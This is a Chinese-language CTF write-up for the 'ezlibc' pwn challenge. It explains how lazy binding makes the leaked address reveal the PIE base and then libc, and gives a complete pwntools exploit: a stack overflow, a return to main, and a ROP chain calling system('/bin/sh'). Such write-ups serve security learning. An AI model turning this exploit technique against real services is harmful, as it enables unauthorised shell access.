ezlibc
.png)
main函数:
.png)
汇编代码:
.png)
vuln函数:
.png)
题目没有后们函数,直接给我们一个地址,然后一个栈溢出漏洞,那我们的思路就是先泄露libc然后利用栈溢出,main函数的printf这里反汇编其实不太准确,因为如果我们光看printf("What is this?\nHow can I use %p without a backdoor? Damn!\n", &read);理解的是泄露的是read在plt表中的地址,但我们看汇编代码就可以知道rsi里放的是off_4030里存放的地址
.png)
我们看到off_4030其实是read的got表,我们泄露的其实是read的got表的内容,由于我们在printf前没调用过read函数,由于延迟绑定,got表里存放的是read函数plt表中第二条指令(第一条是跳去查got表),那这里我们泄露是pie地址,结合gdb我们能找出这个地址的偏移,我们就能得到pie基址。
我们下一步是获得libc地址,那由于我们第一次调用vuln函数就调用了一遍read函数,所以这时候我们如果返回main函数printf泄露read的got表,got表里写的是read函数的libc地址,那我们就能获得libc基址,再利用第二次vuln函数栈溢出就能getshell了,这题主要考察的就是延迟绑定机制。
EXP:
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
p = process('./pwn_patched')
#p = remote('127.0.0.1',43695)
libc = ELF('./libc.so.6')
read_offest = 0x1060
main_offest = 0x11ce
ret_offset = 0x101a
p.recvuntil(b'How can I use ')
leak_data = p.recvuntil(b" without a backdoor? Damn!", drop=True)
leak_read = int(leak_data,0)
log.success(f"泄露的read地址: {hex(leak_read)}")
pie_base = leak_read - read_offest
log.success(f"泄露的pie基址: {hex(pie_base)}")
main_add = main_offest + pie_base
ret = ret_offset + pie_base
payload1 = flat([
b'A' * 40,
ret,
main_add
])
sleep(0.1)
p.send(payload1)
p.recvuntil(b'How can I use ')
leak_data = p.recvuntil(b" without a backdoor? Damn!", drop=True)
leak_read = int(leak_data,0)
log.success(f"泄露的read_libc地址: {hex(leak_read)}")
libc_base = leak_read - libc.sym['read']
log.success(f"泄露的libc基址: {hex(libc_base)}")
rdi_offset = 0x2a3e5
prdi = rdi_offset + libc_base
libc.address = libc_base
system = libc.sym['system']
bin_add = next(libc.search(b'/bin/sh'))
payload2 = flat([
b'A' * 40,
ret,
prdi,
bin_add,
system
])
sleep(0.1)
p.send(payload2)
p.interactive()
题目链接:
ezlibc
http://localhost:8080/archives/wei-ming-ming-wen-zhang-XcZsBMEH